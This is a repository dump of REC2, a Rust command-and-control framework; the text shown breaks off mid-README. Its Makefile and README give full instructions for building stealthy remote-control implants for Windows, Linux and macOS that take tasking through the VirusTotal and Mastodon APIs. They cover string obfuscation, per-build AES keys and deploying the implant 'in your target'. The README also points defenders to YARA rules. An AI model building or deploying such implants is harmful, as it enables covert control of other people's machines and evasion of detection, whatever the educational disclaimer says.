├── .gitignore ├── Dockerfile ├── LICENSE ├── MASTODON.md ├── Makefile ├── README.md ├── VIRUSTOTAL.md ├── img ├── REC2_logo_v1.png ├── client.jpg ├── schema_rec2.png └── server.jpg ├── implants ├── mastodon │ ├── Cargo.toml │ └── src │ │ ├── args.rs │ │ ├── lib.rs │ │ ├── main.rs │ │ ├── modules │ │ ├── common.rs │ │ ├── mod.rs │ │ └── rec2mastodon.rs │ │ └── utils │ │ ├── common.rs │ │ ├── crypto.rs │ │ ├── exec.rs │ │ ├── mod.rs │ │ └── target.rs └── virustotal │ ├── Cargo.toml │ └── src │ ├── args.rs │ ├── lib.rs │ ├── main.rs │ ├── modules │ ├── common.rs │ ├── mod.rs │ └── rec2virustotal.rs │ └── utils │ ├── common.rs │ ├── crypto.rs │ ├── exec.rs │ ├── mod.rs │ └── target.rs ├── server ├── Cargo.toml └── src │ ├── args.rs │ ├── c2 │ ├── jobs.rs │ ├── mod.rs │ ├── sessions.rs │ └── shell.rs │ ├── lib.rs │ ├── main.rs │ ├── modules │ ├── mod.rs │ ├── rec2mastodon.rs │ └── rec2virustotal.rs │ └── utils │ ├── common.rs │ ├── crypto.rs │ └── mod.rs └── yara └── rec2_virustotal_or_mastodon.yar /.gitignore: -------------------------------------------------------------------------------- 1 | implants/*/target 2 | implants/*/Cargo.lock 3 | server/target 4 | server/Cargo.lock 5 | .vscode/ 6 | *.exe 7 | history.txt 8 | /server_* 9 | /c2server* 10 | /rec2* -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.72-slim-buster 2 | 3 | WORKDIR /usr/src/rec2 4 | 5 | RUN \ 6 | apt-get -y update && \ 7 | apt-get -y install gcc clang libclang-dev musl-tools make gcc-mingw-w64-x86-64 pkg-config libudev-dev libssl-dev && \ 8 | rm -rf /var/lib/apt/lists/* 9 | 10 | ENTRYPOINT ["make"] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 g0h4n 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MASTODON.md: -------------------------------------------------------------------------------- 1 | # MASTODON 2 | 3 | [https://docs.joinmastodon.org/api/](https://docs.joinmastodon.org/api/) 4 | 5 | ⚠️ **[API Rate limits](https://docs.joinmastodon.org/api/rate-limits/)**: 6 | 7 | > All endpoints and methods can be called **300 times** within **5 minutes**. 8 | 9 | > Either `DELETE` /api/v1/statuses/:id or `POST` /api/v1/statuses/:id/unreblog can be called **30 times** within **30 minutes**. 10 | 11 | 12 | ⚠️ **Site constraints**: 13 | 14 | > A comment cannot exceed **500 characters**. -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | prog :=rec2 2 | server :=server 3 | implant :=rec2 4 | #LITCRYPT_ENCRYPT_KEY to change 5 | masterkey :=RAMDOMdd28f0dcd9779315ee130deb565dbf315587f1611e54PASSWORD 6 | 7 | cargo := $(shell command -v cargo 2> /dev/null) 8 | cargo_v := $(shell cargo -V| cut -d ' ' -f 2) 9 | rustup := $(shell command -v rustup 2> /dev/null) 10 | 11 | check_cargo: 12 | ifndef cargo 13 | $(error cargo is not available, please install it! curl https://sh.rustup.rs -sSf | sh) 14 | else 15 | @echo "Make sure your cargo version is up to date! Current version is $(cargo_v)" 16 | endif 17 | 18 | check_rustup: 19 | ifndef rustup 20 | $(error rustup is not available, please install it! curl https://sh.rustup.rs -sSf | sh) 21 | endif 22 | 23 | # Deps install 24 | 25 | install_windows_deps: update_rustup 26 | @rustup install stable-x86_64-pc-windows-gnu --force-non-host 27 | @rustup target add x86_64-pc-windows-gnu 28 | @rustup install stable-i686-pc-windows-gnu --force-non-host 29 | @rustup target add i686-pc-windows-gnu 30 | 31 | install_macos_deps: 32 | @sudo git clone https://github.com/tpoechtrager/osxcross /usr/local/bin/osxcross || exit 33 | @sudo wget -P /usr/local/bin/osxcross/ -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && sudo mv /usr/local/bin/osxcross/MacOSX10.10.sdk.tar.xz /usr/local/bin/osxcross/tarballs/ 34 | @sudo UNATTENDED=yes OSX_VERSION_MIN=10.7 /usr/local/bin/osxcross/build.sh 35 | @sudo chmod 775 /usr/local/bin/osxcross/ -R 36 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH" 37 | @grep 'target.x86_64-apple-darwin' ~/.cargo/config || echo "[target.x86_64-apple-darwin]" >> ~/.cargo/config 38 | @grep 'linker = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'linker = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config 39 | @grep 'ar = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'ar = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config 40 | 41 | install_linux_deps:update_rustup 42 | @rustup install stable-x86_64-unknown-linux-gnu --force-non-host 43 | @rustup target add x86_64-unknown-linux-gnu 44 | 45 | install_cross: 46 | @cargo install --version 0.1.16 cross 47 | 48 | update_rustup: 49 | rustup update 50 | 51 | # Cleaning 52 | 53 | clean: 54 | sudo rm -rf server/target implants/*/target 55 | 56 | # Makefile for C2 server 57 | 58 | c2server_release: check_cargo 59 | cargo build --release --manifest-path server/Cargo.toml 60 | cp server/target/release/$(server) ./$(server)_release 61 | @echo -e "[+] You can find \033[1;32m$(server)_release\033[0m release version in your current folder." 62 | 63 | c2server_debug: check_cargo 64 | cargo build --manifest-path server/Cargo.toml 65 | cp server/target/debug/$(server) ./$(server)_debug 66 | @echo -e "[+] You can find \033[1;32m$(server)_debug\033[0m debug version in your current folder." 67 | 68 | c2server_doc: check_cargo 69 | cargo doc --open --no-deps --manifest-path server/Cargo.toml 70 | 71 | c2server_build_windows_x64: 72 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path server/Cargo.toml 73 | cp server/target/x86_64-pc-windows-gnu/release/$(server).exe ./$(server)_x64.exe 74 | @echo -e "[+] You can find \033[1;32m$(server)_x64.exe\033[0m in your current folder." 75 | 76 | c2server_build_windows_x86: 77 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target i686-pc-windows-gnu --manifest-path server/Cargo.toml 78 | cp server/target/i686-pc-windows-gnu/release/$(server).exe ./$(server)_x86.exe 79 | @echo -e "[+] You can find \033[1;32m$(server)_x86.exe\033[0m in your current folder." 80 | 81 | c2server_windows: check_rustup install_windows_deps c2server_build_windows_x64 82 | 83 | c2server_windows_x64: check_rustup install_windows_deps c2server_build_windows_x64 84 | 85 | c2server_windows_x86: check_rustup install_windows_deps c2server_build_windows_x86 86 | 87 | c2server_build_linux_aarch64: 88 | cross build --target aarch64-unknown-linux-gnu --release --manifest-path server/Cargo.toml 89 | cp server/target/aarch64-unknown-linux-gnu/release/$(server) ./$(server)_aarch64 90 | @echo -e "[+] You can find \033[1;32m$(server)_aarch64\033[0m in your current folder." 91 | 92 | c2server_linux_aarch64: check_rustup install_cross c2server_build_linux_aarch64 93 | 94 | c2server_build_linux_x86_64: 95 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-unknown-linux-gnu --manifest-path server/Cargo.toml 96 | cp server/target/x86_64-unknown-linux-gnu/release/$(server) ./$(server)_x86_64 97 | @echo -e "[+] You can find \033[1;32m$(server)_x86_64\033[0m in your current folder." 98 | 99 | c2server_linux_x86_64: check_rustup install_linux_deps c2server_build_linux_x86_64 100 | 101 | c2server_linux: check_rustup install_linux_deps c2server_build_linux_x86_64 102 | 103 | c2server_build_macos: 104 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH" 105 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path server/Cargo.toml 106 | cp server/target/x86_64-apple-darwin/release/$(server) ./$(server)_macOS 107 | @echo -e "[+] You can find \033[1;32m$(server)_macOS\033[0m in your current folder." 108 | 109 | c2server_macos: check_rustup install_cross install_macos_deps c2server_build_macos 110 | 111 | c2server_arm_musl: check_rustup install_cross 112 | cross build --target arm-unknown-linux-musleabi --release 113 | cp server/target/arm-unknown-linux-musleabi/release/$(server) ./$(server)_arm_musl 114 | @echo -e "[+] You can find \033[1;32m$(server)_arm_musl\033[0m in your current folder." 115 | 116 | c2server_armv7: check_rustup install_cross 117 | cross build --target armv7-unknown-linux-gnueabihf --release 118 | cp server/target/armv7-unknown-linux-gnueabihf/release/$(server) ./$(server)_armv7 119 | @echo -e "[+] You can find \033[1;32m$(server)_armv7\033[0m in your current folder." 120 | 121 | # Makefile for Mastodon implant 122 | 123 | mastodon_release: check_cargo 124 | cargo build --release --manifest-path implants/mastodon/Cargo.toml 125 | cp implants/mastodon/target/release/$(prog) ./$(prog)_mastodon_release 126 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_release\033[0m release version in your current folder." 127 | 128 | mastodon_debug: check_cargo 129 | cargo build --manifest-path implants/mastodon/Cargo.toml 130 | cp implants/mastodon/target/debug/$(prog) ./$(prog)_mastodon_debug 131 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_debug\033[0m debug version in your current folder." 132 | 133 | mastodon_doc: check_cargo 134 | cargo doc --open --no-deps --manifest-path implants/mastodon/Cargo.toml 135 | 136 | mastodon_build_windows_x64: 137 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/mastodon/Cargo.toml 138 | cp implants/mastodon/target/x86_64-pc-windows-gnu/release/$(prog).exe ./$(prog)_mastodon_x64.exe 139 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_x64.exe\033[0m in your current folder." 140 | 141 | mastodon_build_windows_x86: 142 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target i686-pc-windows-gnu --manifest-path implants/mastodon/Cargo.toml 143 | cp implants/mastodon/target/i686-pc-windows-gnu/release/$(prog).exe ./$(prog)_mastodon_x86.exe 144 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_x86.exe\033[0m in your current folder." 145 | 146 | mastodon_windows: check_rustup install_windows_deps replace_key mastodon_build_windows_x64 gen_key 147 | 148 | mastodon_windows_x64: check_rustup install_windows_deps replace_key mastodon_build_windows_x64 gen_key 149 | 150 | mastodon_windows_x86: check_rustup install_windows_deps replace_key mastodon_build_windows_x86 gen_key 151 | 152 | mastodon_build_linux_aarch64: 153 | cross build --target aarch64-unknown-linux-gnu --release --manifest-path implants/mastodon/Cargo.toml 154 | cp implants/mastodon/target/aarch64-unknown-linux-gnu/release/$(prog) ./$(prog)_mastodon_aarch64 155 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_aarch64\033[0m in your current folder." 156 | 157 | mastodon_linux_aarch64: check_rustup install_cross replace_key mastodon_build_linux_aarch64 gen_key 158 | 159 | mastodon_build_linux_x86_64: 160 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/mastodon/Cargo.toml 161 | cp implants/mastodon/target/x86_64-unknown-linux-gnu/release/$(prog) ./$(prog)_mastodon_x86_64 162 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_x86_64\033[0m in your current folder." 163 | 164 | mastodon_linux: check_rustup install_linux_deps replace_key mastodon_build_linux_x86_64 gen_key 165 | 166 | mastodon_linux_x86_64: check_rustup install_linux_deps replace_key mastodon_build_linux_x86_64 gen_key 167 | 168 | 169 | mastodon_build_macos: 170 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH" 171 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/mastodon/Cargo.toml 172 | cp implants/mastodon/target/x86_64-apple-darwin/release/$(prog) ./$(prog)_mastodon_macOS 173 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_macOS\033[0m in your current folder." 174 | 175 | mastodon_macos: replace_key mastodon_build_macos install_macos_deps gen_key 176 | 177 | mastodon_arm_musl: check_rustup install_cross 178 | cross build --target arm-unknown-linux-musleabi --release 179 | cp implants/mastodon/target/arm-unknown-linux-musleabi/release/$(prog) ./$(prog)_mastodon_arm_musl 180 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_arm_musl\033[0m in your current folder." 181 | 182 | mastodon_armv7: check_rustup install_cross 183 | cross build --target armv7-unknown-linux-gnueabihf --release 184 | cp implants/mastodon/target/armv7-unknown-linux-gnueabihf/release/$(prog) ./$(prog)_mastodon_armv7 185 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_armv7\033[0m in your current folder." 186 | 187 | # Makefile for Virustotal implant 188 | 189 | virustotal_release: check_cargo 190 | cargo build --release --manifest-path implants/virustotal/Cargo.toml 191 | cp implants/virustotal/target/release/$(prog) ./$(prog)_virustotal_release 192 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_release\033[0m release version in your current folder." 193 | 194 | virustotal_debug: check_cargo 195 | cargo build --manifest-path implants/virustotal/Cargo.toml 196 | cp implants/virustotal/target/debug/$(prog) ./$(prog)_virustotal_debug 197 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_debug\033[0m debug version in your current folder." 198 | 199 | virustotal_doc: check_cargo 200 | cargo doc --open --no-deps --manifest-path implants/virustotal/Cargo.toml 201 | 202 | virustotal_build_windows_x64: 203 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/virustotal/Cargo.toml 204 | cp implants/virustotal/target/x86_64-pc-windows-gnu/release/$(prog).exe ./$(prog)_virustotal_x64.exe 205 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_x64.exe\033[0m in your current folder." 206 | 207 | virustotal_build_windows_x86: 208 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target i686-pc-windows-gnu --manifest-path implants/virustotal/Cargo.toml 209 | cp implants/virustotal/target/i686-pc-windows-gnu/release/$(prog).exe ./$(prog)_virustotal_x86.exe 210 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_x86.exe\033[0m in your current folder." 211 | 212 | virustotal_windows: check_rustup install_windows_deps replace_key virustotal_build_windows_x64 gen_key 213 | 214 | virustotal_windows_x64: check_rustup install_windows_deps replace_key virustotal_build_windows_x64 gen_key 215 | 216 | virustotal_windows_x86: check_rustup install_windows_deps replace_key virustotal_build_windows_x86 gen_key 217 | 218 | virustotal_build_linux_aarch64: 219 | cross build --target aarch64-unknown-linux-gnu --release --manifest-path implants/virustotal/Cargo.toml 220 | cp implants/virustotal/target/aarch64-unknown-linux-gnu/release/$(prog) ./$(prog)_virustotal_aarch64 221 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_aarch64\033[0m in your current folder." 222 | 223 | virustotal_linux_aarch64: check_rustup install_cross replace_key virustotal_build_linux_aarch64 gen_key 224 | 225 | virustotal_build_linux_x86_64: 226 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/virustotal/Cargo.toml 227 | cp implants/virustotal/target/x86_64-unknown-linux-gnu/release/$(prog) ./$(prog)_virustotal_x86_64 228 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_x86_64\033[0m in your current folder." 229 | 230 | virustotal_linux_x86_64: check_rustup install_linux_deps replace_key virustotal_build_linux_x86_64 gen_key 231 | 232 | virustotal_linux: check_rustup install_linux_deps replace_key virustotal_build_linux_x86_64 gen_key 233 | 234 | virustotal_build_macos: 235 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH" 236 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/virustotal/Cargo.toml 237 | cp implants/virustotal/target/x86_64-apple-darwin/release/$(prog) ./$(prog)_virustotal_macOS 238 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_macOS\033[0m in your current folder." 239 | 240 | virustotal_macos: check_rustup install_cross install_macos_deps replace_key virustotal_build_macos gen_key 241 | 242 | virustotal_arm_musl: check_rustup install_cross 243 | cross build --target arm-unknown-linux-musleabi --release 244 | cp implants/virustotal/target/arm-unknown-linux-musleabi/release/$(prog) ./$(prog)_virustotal_arm_musl 245 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_arm_musl\033[0m in your current folder." 246 | 247 | virustotal_armv7: check_rustup install_cross 248 | cross build --target armv7-unknown-linux-gnueabihf --release 249 | cp implants/virustotal/target/armv7-unknown-linux-gnueabihf/release/$(prog) ./$(prog)_virustotal_armv7 250 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_armv7\033[0m in your current folder." 251 | 252 | # Keys 253 | 254 | export KEY:=$(shell echo `tr -dc A-Za-z0-9 < /dev/urandom | head -c 64`) 255 | export LITCRYPT_ENCRYPT_KEY:=$(shell echo `tr -dc A-Za-z0-9 < /dev/urandom | head -c 64`) 256 | 257 | gen_key: 258 | @echo -e "[+] AES key to use for C2 server: \033[1;32m$$KEY\033[0m" 259 | 260 | replace_key: gen_key 261 | sed -i -E "s/let key = (lc\!\(\"[a-zA-Z0-9]{64})/let key = lc\!\(\"$$KEY/" implants/mastodon/src/main.rs 262 | sed -i -E "s/let key = (lc\!\(\"[a-zA-Z0-9]{64})/let key = lc\!\(\"$$KEY/" implants/virustotal/src/main.rs 263 | 264 | # Makefile help 265 | 266 | help: 267 | @echo "" 268 | @echo "REC2 Server:" 269 | @echo "usage: make c2server_debug" 270 | @echo "usage: make c2server_release" 271 | @echo "usage: make c2server_windows" 272 | @echo "usage: make c2server_windows_x64" 273 | @echo "usage: make c2server_windows_x86" 274 | @echo "usage: make c2server_linux" 275 | @echo "usage: make c2server_linux_aarch64" 276 | @echo "usage: make c2server_linux_x86_64" 277 | @echo "usage: make c2server_macos" 278 | @echo "usage: make c2server_arm_musl" 279 | @echo "usage: make c2server_armv7" 280 | @echo "" 281 | @echo "VirusTotal implant:" 282 | @echo "usage: make virustotal_debug" 283 | @echo "usage: make virustotal_release" 284 | @echo "usage: make virustotal_windows" 285 | @echo "usage: make virustotal_windows_x64" 286 | @echo "usage: make virustotal_windows_x86" 287 | @echo "usage: make virustotal_linux" 288 | @echo "usage: make virustotal_linux_aarch64" 289 | @echo "usage: make virustotal_linux_x86_64" 290 | @echo "usage: make virustotal_macos" 291 | @echo "usage: make virustotal_arm_musl" 292 | @echo "usage: make virustotal_armv7" 293 | @echo "" 294 | @echo "Mastodon implant:" 295 | @echo "usage: make mastodon_debug" 296 | @echo "usage: make mastodon_release" 297 | @echo "usage: make mastodon_windows" 298 | @echo "usage: make mastodon_windows_x64" 299 | @echo "usage: make mastodon_windows_x86"$ 300 | @echo "usage: make mastodon_linux" 301 | @echo "usage: make mastodon_linux_aarch64" 302 | @echo "usage: make mastodon_linux_x86_64" 303 | @echo "usage: make mastodon_macos" 304 | @echo "usage: make mastodon_arm_musl" 305 | @echo "usage: make mastodon_armv7" 306 | @echo "" 307 | @echo "Dependencies:" 308 | @echo "usage: make install_windows_deps" 309 | @echo "usage: make install_macos_deps" 310 | @echo "" 311 | @echo "Documentation:" 312 | @echo "usage: make c2server_doc" 313 | @echo "usage: make virustotal_doc" 314 | @echo "usage: make mastodon_doc" 315 | @echo "" 316 | @echo "Cleaning:" 317 | @echo "usage: make clean" 318 | @echo "" -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | > :shipit: **Information:** REC2 is an old personal project (*early 2023*) that I didn't continue development on. It's part of a list of projects that helped me to learn Rust. The code is probably considered obsolete and not in its best form. Maybe I'll pick up where I left off [#roadmap](#vertical_traffic_light-roadmap). However, **REC2 is fully functional** and allow to execute commands on a Linux / macOS or Windows target **from the VirusTotal and Mastodon APIs**. 2 | 3 | # REC2 (Rusty External C2) 4 | 5 |

6 | GitHub 7 | Windows supported 8 | Linux supported 9 | macOS supported 10 | Twitter Follow 11 |

12 | 13 |

14 | logo 15 |

16 | 17 | > ⚠️ **Disclaimer**: 18 | > REC2 is for educational purposes only. Use this at your own discretion, I cannot be held responsible for any damages caused. 19 | > Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. I assume no liability and are not responsible for any misuse or damage caused by this tool. 20 | 21 | :red_circle: **Redteamer**: I share with you a beta version of one of my external C2 using virustotal and mastodon 22 | 23 | :large_blue_circle: **Blueteamer**: You can find an example of yara rules for REC2 implants in this same repo 24 | 25 | 26 | # :abacus: Summary 27 | 28 | - [Description](#label-description) 29 | - [Usage and Demo](#tv-usage-and-demo) 30 | - [How to compile it?](#tractor-how-to-compile-it) 31 | - [Using Makefile](#using-makefile) 32 | - [Using Dockerfile](#using-dockerfile) 33 | - [Roadmap](#vertical_traffic_light-roadmap) 34 | - [Links](#link-links) 35 | 36 | 37 | # :label: Description 38 | 39 | `REC2`, or **R**usty **E**xternal **C**ommand and **C**ontrol, is a versatile Command and Control (C2) tool developed in the Rust programming language. It provides a discreet and effective means to manage remote implants (clients) on macOS, Linux, and Windows systems. REC2 utilizes third-party APIs like `VirusTotal` or `Mastodon` to transmit encrypted messages using AES between the server and implants, allowing attackers to operate stealthily through these external channels. Implants can monitor pending jobs, retrieve, decrypt, execute tasks on the target system, and securely transmit results back via the same APIs. Using these APIs as intermediaries adds an extra layer of anonymization, reducing the ease of tracing back to the attacker. 40 | 41 |

42 | schema 43 |

44 | 45 | # :tv: Usage and Demo 46 | 47 | server client.exe 48 | 49 | Change some values in **implants/(mastodon,virustotal)/src/main.rs** : 50 | 51 | ```rust 52 | // (MASTODON or VIRUSTOTAL) TOKEN 53 | // 54 | // 55 | let token = lc!("TOKEN").to_owned(); 56 | // (MASTODON or VIRUSTOTAL) FULL URL 57 | //let full_url = lc!("https://mastodon.xx/@username/100123451234512345").to_owned(); 58 | let full_url = lc!("https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d").to_owned(); 59 | ``` 60 | 61 | Make **Windows x64 implant** static binary: 62 | 63 | ```bash 64 | make virustotal_windows 65 | make mastodon_windows 66 | ``` 67 | 68 | You can find (**rec2_virustotal_x64.exe** or **rec2_mastodon_x64.exe**) in your current directory. 69 | 70 | **And to finish**, compile the **server** binary: 71 | 72 | ```bash 73 | make c2server_release 74 | ./server_release -h 75 | ./server_release VirusTotal -h 76 | ./server_release Mastodon -h 77 | 78 | # Example 79 | ./server_release VirusTotal --url --token --key 80 | ``` 81 | 82 | Now you just need to execute implant in your target. 83 | 84 | # :tractor: How to compile it? 85 | 86 | ## Using Makefile 87 | 88 | You can use the **make** command to compile it for Linux, Windows or mac0S. 89 | 90 | More command in the **Makefile**: 91 | 92 | ```bash 93 | REC2 Server: 94 | usage: make c2server_debug 95 | usage: make c2server_release 96 | usage: make c2server_windows 97 | usage: make c2server_windows_x64 98 | usage: make c2server_windows_x86 99 | usage: make c2server_linux 100 | usage: make c2server_linux_aarch64 101 | usage: make c2server_linux_x86_64 102 | usage: make c2server_macos 103 | usage: make c2server_arm_musl 104 | usage: make c2server_armv7 105 | 106 | VirusTotal implant: 107 | usage: make virustotal_debug 108 | usage: make virustotal_release 109 | usage: make virustotal_windows 110 | usage: make virustotal_windows_x64 111 | usage: make virustotal_windows_x86 112 | usage: make virustotal_linux 113 | usage: make virustotal_linux_aarch64 114 | usage: make virustotal_linux_x86_64 115 | usage: make virustotal_macos 116 | usage: make virustotal_arm_musl 117 | usage: make virustotal_armv7 118 | 119 | Mastodon implant: 120 | usage: make mastodon_debug 121 | usage: make mastodon_release 122 | usage: make mastodon_windows 123 | usage: make mastodon_windows_x64 124 | usage: make mastodon_windows_x86 125 | usage: make mastodon_linux 126 | usage: make mastodon_linux_aarch64 127 | usage: make mastodon_linux_x86_64 128 | usage: make mastodon_macos 129 | usage: make mastodon_arm_musl 130 | usage: make mastodon_armv7 131 | 132 | Dependencies: 133 | usage: make install_windows_deps 134 | usage: make install_macos_deps 135 | 136 | Documentation: 137 | usage: make c2server_doc 138 | usage: make virustotal_doc 139 | usage: make mastodon_doc 140 | 141 | Cleaning: 142 | usage: make clean 143 | ``` 144 | 145 | 146 | ## Using Dockerfile 147 | 148 | Build REC2 with docker to make sure to have all dependencies. 149 | 150 | ```bash 151 | docker build --rm -t rec2 . 152 | 153 | # Then to build C2 server: 154 | docker run --rm -v ./:/usr/src/rec2 rec2 c2server_windows 155 | docker run --rm -v ./:/usr/src/rec2 rec2 c2server_linux 156 | docker run --rm -v ./:/usr/src/rec2 rec2 c2server_macos 157 | 158 | 159 | # Then to build VirusTotal implant: 160 | docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_windows 161 | docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_linux 162 | docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_macos 163 | 164 | # Then to build Mastodon implant: 165 | docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_windows 166 | docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_linux 167 | docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_macos 168 | ``` 169 | 170 |
SHOW MORE 171 | 172 | ## Using Cargo 173 | 174 | You will need to install Rust on your system. 175 | 176 | [https://www.rust-lang.org/fr/tools/install](https://www.rust-lang.org/fr/tools/install) 177 | 178 | > :warining: You need to export ```LITCRYPT_ENCRYPT_KEY``` variable in your terminal before to compile it. (for implants strings obfuscation) 179 | 180 | ```bash 181 | export LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890" 182 | LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890" 183 | ``` 184 | 185 | > :warining: You need to change AESKEY in **implants/(virustotal,mastodon)/main.rs** and to change URL and TOKEN. 186 | 187 | Here is how to compile the "**release**" and "**debug**" versions using the **cargo** command. 188 | 189 | ```bash 190 | git clone https://github.com/g0h4n/REC2 191 | cd REC2 192 | 193 | # Implants 194 | # choise your implant Mastodon or VirusTotal 195 | 196 | # implants/mastodon/Cargo.toml 197 | # release version 198 | cargo build --release --manifest --manifest-path implants/mastodon/Cargo.toml 199 | # or debug version 200 | cargo b --manifest-path implants/mastodon/Cargo.toml 201 | 202 | # implants/virustotal/Cargo.toml 203 | # release version 204 | cargo build --release --manifest --manifest-path implants/virustotal/Cargo.toml 205 | # or debug version 206 | cargo b --manifest-path implants/virustotal/Cargo.toml 207 | 208 | # Server 209 | cargo build --release --manifest --manifest-path server/Cargo.toml 210 | # or debug version 211 | cargo b --manifest-path server/Cargo.toml 212 | ``` 213 | 214 | The **Implants** result can be found in the **implants/(mastodon,virustotal)/target/release** or in the **implants/(mastodon,virustotal)/target/debug** folder. The **server** result can be found in the **server/target/release** or in the **server/target/debug** folder. 215 | 216 | Below you can find the compilation methodology for each of the OS from Linux. 217 | If you need another compilation system, please consult the list in this link: [https://doc.rust-lang.org/nightly/rustc/platform-support.html](https://doc.rust-lang.org/nightly/rustc/platform-support.html) 218 | 219 | 220 | ## Manually for Linux x86_64 static version 221 | 222 | ```bash 223 | # Install rustup and Cargo for Linux 224 | curl https://sh.rustup.rs -sSf | sh 225 | 226 | # Add Linux deps 227 | rustup install stable-x86_64-unknown-linux-gnu 228 | rustup target add x86_64-unknown-linux-gnu 229 | 230 | # Static compilation for Linux 231 | git clone https://github.com/g0h4n/REC2 232 | cd REC2 233 | 234 | # Implants 235 | # choise your implant Mastodon or VirusTotal 236 | 237 | # implants/mastodon/Cargo.toml 238 | CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/mastodon/Cargo.toml 239 | 240 | # implants/virustotal/Cargo.toml 241 | CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/virustotal/Cargo.toml 242 | 243 | # Server 244 | CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path server/Cargo.toml 245 | ``` 246 | 247 | The result can be found in the **implants/(mastodon,virustotal)/target/x86_64-unknown-linux-gnu/release** or in **server/target/x86_64-unknown-linux-gnu/release** folder. 248 | 249 | 250 | ## Manually for Windows static version from Linux 251 | ```bash 252 | # Install rustup and Cargo in Linux 253 | curl https://sh.rustup.rs -sSf | sh 254 | 255 | # Add Windows deps 256 | rustup install stable-x86_64-pc-windows-gnu 257 | rustup target add x86_64-pc-windows-gnu 258 | 259 | # Static compilation for Windows 260 | git clone https://github.com/g0h4n/REC2 261 | cd REC2 262 | 263 | # Implants 264 | # choise your implant Mastodon or VirusTotal 265 | 266 | # implants/mastodon/Cargo.toml 267 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target 